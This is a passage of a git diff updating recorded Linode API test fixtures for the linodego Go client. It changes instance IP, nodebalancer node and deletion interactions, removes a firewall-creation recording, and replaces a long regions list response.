firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: @@ -299,12 +381,12 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/49708269/ips + url: https://api.linode.com/v4beta/linode/instances/59542208/ips method: POST response: - body: '{"address": "192.168.159.77", "gateway": null, "subnet_mask": "255.255.128.0", - "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 49708269, - "region": "ap-west"}' + body: '{"address": "192.168.142.195", "gateway": null, "subnet_mask": "255.255.128.0", + "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 59542208, + "region": "ap-west", "vpc_nat_1_1": null}' headers: Access-Control-Allow-Credentials: - "true" @@ -317,15 +399,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "183" + - "205" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:17 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -338,16 +424,19 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"address":"192.168.159.77:8080","label":"go-node-test-def","weight":10,"mode":"accept"}' + body: '{"address":"192.168.142.195:8080","label":"go-node-test-def","weight":10,"mode":"accept"}' form: {} headers: Accept: @@ -356,12 +445,12 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441120/configs/670338/nodes + url: https://api.linode.com/v4beta/nodebalancers/694185/configs/1134759/nodes method: POST response: - body: '{"id": 516206618, "address": "192.168.159.77:8080", "label": "go-node-test-def", - "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 670338, "nodebalancer_id": - 441120}' + body: '{"id": 2047158844, "address": "192.168.142.195:8080", "label": "go-node-test-def", + "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 1134759, "nodebalancer_id": + 694185}' headers: Access-Control-Allow-Credentials: - "true" @@ -374,15 +463,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "181" + - "184" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:18 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -395,9 +488,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -413,7 +509,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441120/configs/670338/nodes/516206618 + url: https://api.linode.com/v4beta/nodebalancers/694185/configs/1134759/nodes/2047158844 method: DELETE response: body: '{}' @@ -429,15 +525,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:18 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -450,9 +550,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -468,7 +571,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/49708269 + url: https://api.linode.com/v4beta/linode/instances/59542208 method: DELETE response: body: '{}' @@ -484,15 +587,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:19 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -505,9 +612,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestNodeBalancerNode_Get.yaml b/test/integration/fixtures/TestNodeBalancerNode_Get.yaml index a87e81670..1ef0d760f 100644 --- a/test/integration/fixtures/TestNodeBalancerNode_Get.yaml +++ b/test/integration/fixtures/TestNodeBalancerNode_Get.yaml @@ -1,67 +1,6 @@ --- version: 1 interactions: -- request: - body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls - method: POST - response: - body: '{"id": 228214, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": - [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": - "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": - "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": - "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], - "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=60, s-maxage=60 - Content-Length: - - "526" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - firewall:read_write - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" - request: body: "" form: {} @@ -76,176 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, - 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, - 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, - 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, - 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "in-maa", - "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, - 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, - 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, - 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, - 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, - 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, - 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, - 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, - 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, - 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, - 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage - 